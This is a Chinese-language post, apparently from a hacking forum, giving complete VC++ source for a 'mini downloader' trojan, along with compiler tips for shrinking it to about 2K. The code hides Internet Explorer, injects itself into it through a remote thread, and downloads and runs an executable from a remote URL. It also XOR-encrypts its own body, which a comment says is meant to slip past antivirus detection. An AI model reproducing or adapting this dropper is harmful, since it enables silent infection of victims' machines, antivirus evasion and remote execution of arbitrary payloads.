生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.
参考delphi版本的下载者源代码，编出来有16K左右。压缩也有10K多，于是写了VC的代码。按以下的设置，编译出来2K左右。还可以可以再设置一下编译开关，以减小体积。
原代码中4处没有对/转义,以下代码编译通过;
编译出来16K,去掉4行注释,编译后3K(编译环境:Win2003+VC6.0)
/*
"mini_downloader"
code by kardinal p.s.t
compile by vc++ 6.0
can not run under win98;
*/
#include <windows.h>
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")
//#pragma comment(linker, "/OPT:NOWIN98") //取消这4行的注释，可编译出2K大的文件
//#pragma comment(linker, "/merge:.data=.text")
//#pragma comment(linker, "/merge:.rdata=.text")
//#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/ENTRY:decrpt")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon,hkernel;
void download() //注入使用的下载函数
{
hshell=LoadLibrary("Shell32.dll");
hurlmon=LoadLibrary("urlmon.dll");
(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
DOWNFILE(NULL,"http://www.testtest.ac.cn/eeeeeeeeeeeeee ... eeeeen/notepad.exe","c://ieinst12.exe",0, NULL);
SHELLRUN(0,"open","c://ieinst12.exe",NULL,NULL,5);
ExitProcess(0);
};
void main() //主函数
{
//1.得到IE路径,并运行
char iename[MAX_PATH],iepath[MAX_PATH];
ZeroMemory(iename,sizeof(iename));
ZeroMemory(iepath,sizeof(iepath));
GetWindowsDirectory(iepath,MAX_PATH);
strncpy(iename,iepath,3);
strcat(iename,"program files//Internet Explorer//IEXPLORE.EXE");
WinExec(iename,SW_HIDE);
Sleep(500);
//2.得到 IE process handle
HWND htemp;
htemp=FindWindow("IEFrame",NULL);
GetWindowThreadProcessId(htemp,&pid);
processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//3.分配内存
HMODULE Module;
LPVOID NewModule;
DWORD Size;
LPDWORD lpimagesize;
Module = GetModuleHandle(NULL);//进程映像的基址
//得到内存镜像大小
_asm
{
push eax;
push ebx;
mov ebx,Module;
mov eax,[ebx+0x3c];
lea eax,[ebx+eax+0x50];
mov eax,[eax]
mov lpimagesize,eax;
pop ebx;
pop eax;
};
Size=(DWORD)lpimagesize;
NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置
//4.写内存，创建线程
WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
LPTHREAD_START_ROUTINE entrypoint;
__asm
{
push eax;
lea eax,download;
mov entrypoint,eax;
pop eax
}
hkernel=LoadLibrary("KERNEL32.dll");
(FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");
MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
//5.关闭对象
CloseHandle(processhandle);
return;
} ;
//解密函数
void decrpt()
{
HANDLE myps;
DWORD oldAttr;
BYTE shellcode[500];
ZeroMemory(shellcode,sizeof(shellcode));
myps=GetCurrentProcess();
::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);
//先把原代码,搬移到变量中保存起来
_asm
{
pushad;
lea esi,download
lea edi,shellcode;
lea ecx,decrpt;
sub ecx,esi;
en1:
lodsb;
stosb;
dec ecx;
jne en1;
popad;
};
//解密搬回
int i;
for (i=1;i<=0xFF;i++)
{
_asm
{
pushad;
lea esi,shellcode;
lea edi,download;
lea ecx,decrpt;
sub ecx,edi;
en2:
lodsb;
mov ebx,i;
xor al,bl;
stosb;
dec ecx;
jne en2;
popad;
};
//此结构的的作用在于使一般的杀毒软件无法探测出来是病毒.
__try
{
main();
return;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
};
}
return;
